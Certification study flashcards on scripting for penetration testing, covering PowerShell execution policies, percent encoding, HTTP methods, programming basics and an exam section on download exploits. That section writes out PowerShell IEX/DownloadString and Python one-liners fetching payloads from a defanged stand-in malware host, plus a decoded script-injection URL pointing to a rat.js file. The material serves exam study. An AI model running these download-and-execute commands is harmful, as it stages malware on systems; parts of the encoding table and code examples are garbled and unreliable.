Chapter 12: Scripting for Penetration Testing Flashcards
Six Languages on Test
- Bash
- PowerShell
- Ruby
- Python
- Perl
- JavaScript
PowerShell Restrictions
- Restricted: Default ps1 execution policy that blocks all use of scripts
- AllSigned: Requires any ps1 script to be signed by a trusted publisher
- RemoteSigned: Allows execution of any ps1 script that you write on the local machine, but requires scripts downloaded from internet to be signed by a trusted publisher
- Unrestricted: Allows exeuciton of any ps1 script but prompts you to confirm before you run one from the internet
- Bypass: Allows execution of any ps1 script with no warning for anything
Percent Encoding
- 00: null
- 20: space
- 21: !
- 22: “
- 23: #
- 24: $
- 25: %
- 26: &
- 27: ‘
- 28: (
- 29: )
- 2A: *
- B: +
- C: ,
- D: -
- E: .
- F: /
- 3A: :
- B: ;
- C: <
- D: =
- E: >
- F: ?
- 5C: \
- 7B: {
- C: |
- D: }
Analyzing Exploit Code
Enumeration
* Seeks to identify all the instances of a resource in an environment
* System enum identifies all the systems on a network
* User/Account enum identifies all the individuals with access to the environment
* Domain enum seeks to identify all valid subdomains for a parent domain
Downloading Files
* Commonly done to update malicious code, obtain instructions, or import new tools
* Pay attention to these downloads since the location and nature of files downloaded may provide clues to the identity and motivation of the attackers
Launching Remote Access
* One primary goal for attackers
* Once they run exploit code, they want to create remote access capabilities that allow them to control the system
* Provides important clues to the nature and purpose of an attack
Automating Pentests
Scanning Systems
* Testers may create code that automatically performs port scans of an environment, processes the results, and then automatically triggers next steps based on the results
* EX: If port scan indicates that a web server accepts HTTPS on port 443, a follow up scan might enum the SSL/TLS ciphers supported by the server and produce a report for review
Configuration Analysis of Target Systems
* Automated code can probe the configuration of a target system and produce a report that helps ID next steps
Modifying of IP Addresses in Routine Activities
* Allows the rapid application of techniques to many different systems in an iterative fashion
* EX: Cycle through IPs in a for loop
HTTP Method
A set of request methods to indicate the desired action to be performed for a given resource
A request contains a method, a resource, a version number, the header, and the body of the request
GET
* The principal method used with HTTP and is used to retrieve a resource
POST
* Used to send data to the server for processing by the requested resource
PUT
* Creates or replaces the requested resource
DELETE
* Used to remove
HEAD
* Retrieve the headers for a resource only and igonres the body
* Often used by pentesters to banner grab information about the server and page, like the title of the page
NOTE
* Data submitted via a URL is delimited by the ? character
HTTP Response Codes
- 200 = Successful GET or POST request
- 201 = Successful PUT request to create a resource
- 3xx = Redirect from the server
- 4xx = Client request error
- 400 = Request could not be parsed by server
- 401 = Request did not supply auth creds
- 403 = Request did not have sufficient permissions
- 404 = Non-existent resource
- 5xx = Server side error
- 500 = General error on server side app
- 502 = Bad gateway when server is acting as a proxy
- 503 = Overload, service unavailability
- 504 = Gateway timeout
Example URL Analysis
hxxp://diontraining[.]com/upload.php?post=%3Cscript%3E%27http%3A%2F%2Fabc123.com%2Frat%2Ejs
hxxp://diontraining[.]com/upload.php?post=
* The website we’re going to
* The file on that website
* The action we’re going to do—POST
* Everything after the - is what we POST
%3Cscript%3E
* < script >
%2F%2Fabc123.com%2Frat%2Ejs
* ‘hxx://abc123[.]com/rat.js (defanged)
Putting It Together
* Go to diontraining dot com
* Access the file upload.php
* POST that file (upload)
* Send it to this website address
* Link to rat.js
* Trying to send a JS file to the site
* If it was vulnerable, malicious code is uploaded
Scripting Languages
Bash
A scripting language and command shell for Unix-like systems that’s default in Linux and macOS, and it supports
* Loops
* Variables
* Conditional statements
* Functions
All bash scripting starts with the she bang and location of bash
* #!/bin/bash
PowerShell
A scripting language and command shell for Windows, and it supports
* Variables
* Loops
* Conditional statements
* Functions
* cmdlets (verb-noun syntax)
WMIC
Windows Management Instrumentation Command-Line
* Program used to reivew log files on a remote Windows machine
* You can call WMIC inside of PowerShell
Python and Ruby
Interpreted, high-level, general-purpose programming languages used heavily by cyber analysts and pentesters
Perl
Much like Python and Ruby, this is a general purpose Unix scripting language used for text manipulation
* Very practical, easy to use, efficient
* Third party modules to use with code
JavaScript
Scripting language that allows devs to do fancy and complex things on a webpage
* Needed for web app pentesting
* React is front-end, Node is back-end
Programming Variables
Used to store values and data for different data types
1. Booleans
2. Integers
3. Float / Decimals / Real Numbers
4. Characters
5. Strings
Boolean
A form of data with only two possible values—true or false
* Depending on the programming language, this will say either True / False, T / F, or 1 / 0
Integer
A variable that stores an integer or whole number that may be positive or negative
Float / Decimal / Real Number
A variable that stores a decimal number
Character
A variable that can only store one ASCII character
String
A variable that can store multiple characters
Notes on Variables
* Variables can change throughout the execution of the program
* Constants are like variables, but they can’t be changed within the program once they’re defined
* We define variable values with = mostly, depending on programming languages
Loops
A type of scripting flow control that dictates in what order the code will be executed in a given program
For Loop
Used when the number of times to repeate a block of code is known
* EX: If you know you need to repeat the code 10 times you use a for loop
For i = 1 to 10
OUTPUT(i)
Endfor
While Loop
Used when the number of times to repeat a block of code isn’t known, and won’t stop until something happens
* Set up a condition and test for it at the beginning of the loop
i = 0
While i < 10
OUTPUT(i)
i = i + 1
Endwhile
Do Loop
Used when there’s an indefinite iteration that needs to happen and will only stop when a condition is met at the ed of the loop
* Testing the condition at the end of the loop vs the beginning of the loop
* You do this to ensure the code will always run at least one time
Do
OUTPUT(i)
i = i + 1
Until i > 10
Logic Controls
Used to provide conditions based on different logical tests
Boolean Operator
IF x = 1 THEN
OUTPUT “The statement was true.”
ELSE
OUTPUT “The statement was false.”
ENDIF
Arithmetic Operator
IF balance < 10.00 THEN
OUTPUT “The account has insufficient funds.”
ELSE
OUTPUT “The account has at least $10.00”
ENDIF
String Operator
IF x = “Will” THEN
OUTPUT “The user was Will.”
ELSE
OUTPUT “The user was someone else.”
ENDIF
Combination Example
IF minutes > 120 THEN
OUTPUT “You have studied for 2 hours.”
ELSE IF minutes > 60 THEN
OUTPUT “You should continue to study for another hour.”
ELSE
OUTPUT “You need to study for at least 2 hours today.”
ENDIF
Combination Example Two
IF (minutes > 60 AND minutes < 120) THEN
OUTPUT “You have between 60 and 120 minutes completed.”
ELSE
OUTPUT “You have more than 120 minutes or less than 60 minutes completed.”
ENDIF
Data Structures
JSON
JavaScript Object Notation
* An open data file format and data exchange standard that uses human-readable text to store and transmit data objects
* Used by most modern programming languages when they need to send or receive data from different systems or servers
* The data is easily parsed and formatted to load into other variables, arrays, lists, dictionaries, etc
Key Value Pairs
Assigns some value to some type of title or key that might be used as a variable
* Left = key
* Right = value
* You’re assigning a value to a key that might be used as a variable some time later
* Strings get quote marks
* Boolean and integer don’t get quote marks
Array
A type of data structure that’s used to hold multiple values of the same type
name = [ first, middle, last ]
name = [ “William”, “Joseph”, “Schmidt” ]
name [ 1 ] => Joseph
- Remember, computers count 0, 1, 2 not 1, 2, 3
- When you set an array, you set the value as a list with commas in between each value
- Getting data out you just use brackets with the places in the array
Dictionary
An array of key value pairs
phonebook = {“Will”:”111-1111”, “Charlie”:”222-2222”, “Ross”:”444-4444”}
phonebook{“Will”} = > 111-1111
CSV
Comma separated value, normally stored in a text unlimited format using commas to separate each value
* Each line is considered its own record, almost like a flat databse
* You can read or write to the files form many different programs like Excel and logging apps
* Great way to send and receive data across multiple systems because almost every app supports CSV import or export capabilities
* Biggest limitation is that everything is separated by commas, so you have to escape the comman when parsing data
FIRST, LAST, PHONE
Will, Schmidt, 111-1111
Charlie, Hersman, 222-2222
Ross, Cody, 333-3333
List
A type of data structure that can hold multiple values of different data types in a sequential manner
* Every element on a list is called an index
* Index values start at 0 and goes up to the last element, which is called the positive index
* Some languages will let you negative index from the last items all the way up to the first
my_list = [ 1, 2, 3, “example”, 3.14 ]
* Each is called like you would with an array
Tree
A non-linear data structure that is used to create a hierarchy
* The root is the baseline from which all the other nodes are going to originate from
* All nodes are considered data points available to us
* Root –> Child x however many –> Leaf (end node)
Object Oriented Programming
A programming paradigm based on the concept of “objects”, which can contain data (fields) and code (procedures)
* Most modern programming languages are object-oriented (but not Bash)
Functions
A block of code that is given a special name which can be called to perform the code within it
* Allows programs to be modular that can be reused across programs by calling functions
def area (radius):
return radius
circle _ area = 3.14 * radius * radius
display _ output = ‘The area of the circle with a radius of’ + radius + ‘is’ + circle_area
print(display _ output)
* Any time you want to call this function in any program, you can just say area (radius)
Procedure
Can be anything such as a function, method, routine, or subroutines, that take input, generate output, and manipluate data
* Procedures are essentially functions, but they’re slightly higher groups and can contain multiple functions within them
Class
The definition for the data format and the available procedures for a given type or class of object
* A way to group other objects
* User-defined prototype from which other objects can be created
Library
Takes and places pieces of code into reusable areas
* Allow us to take created code and put them into reusable areas
* Reference libraries to load the code into the script for you
* External collection of different classes, functions, and procedures that can be reused
Exploits to Download Files
PowerShell Download and Run a Script
powershell.exe -c “IEX((New-Object System.Net.WebClient).DownloadString
(‘hxxps://malware[.]com/badstuff.ps1’))”
* Opens web client and downloads the results of the string (URL)
PowerShell Download a File
powershell.exe -c “(New-Object System.Net.WebClient).DownloadFile(“hxxps://malware[.]com/badstuff.zip”, “C:\Windows\Temp\downloaded.zip”)”
* Reaching out to the server and downloading the zip
* Saving it on the local Windows temp directory and naming it
Python Download a File
import requests
url = ‘hxxps://malware[.]com/badstuff.zip’
r = requests.get(url, allow_redirects=True)
open(‘downloaded.zip’, ‘wb’).write(r.content)
* Importing library
* Setting variable for URL to download from
* Making request to URL
* If redirect in place, follow it
* Open file you want
* Save it to the r.content directory
* Open local file and write all contents from r to remote URL
EXAM NOTES
* If script is trying to grab a file, this is a file download script
* That’s the answer
* This is downloading a file to stage further exploits